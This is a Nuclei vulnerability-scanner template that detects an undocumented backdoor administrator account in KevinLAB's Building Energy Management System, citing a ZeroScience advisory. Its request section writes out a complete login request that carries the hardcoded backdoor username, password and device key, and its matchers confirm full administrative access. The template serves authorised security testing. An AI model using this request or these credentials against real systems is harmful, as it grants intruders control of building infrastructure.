id: kevinlab-bems-backdoor

info:
  name: KevinLAB BEMS (Building Energy Management System) Undocumented Backdoor Account
  author: gy741
  severity: critical
  description: The BEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely.
  reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php
  tags: kevinlab

requests:
  - raw:
      - |
        POST /http/index.php HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Accept-Encoding: gzip, deflate
        Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
        Connection: close

        requester=login&request=login&params=%5B%7B%22name%22%3A%22input_id%22%2C%22value%22%3A%22kevinlab%22%7D%2C%7B%22name%22%3A%22input_passwd%22%2C%22value%22%3A%22kevin003%22%7D%2C%7B%22name%22%3A%22device_key%22%2C%22value%22%3A%22a2fe6b53-e09d-46df-8c9a-e666430e163e%22%7D%2C%7B%22name%22%3A%22auto_login%22%2C%22value%22%3Afalse%7D%2C%7B%22name%22%3A%22login_key%22%2C%22value%22%3A%22%22%7D%5D

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'data":"[A-Za-z0-9-]+'
          - 'login_key":"[A-Za-z0-9-]+'
        part: body
        condition: or

      - type: word
        words:
          - '"result":true'
        part: body

      - type: status
        status:
          - 200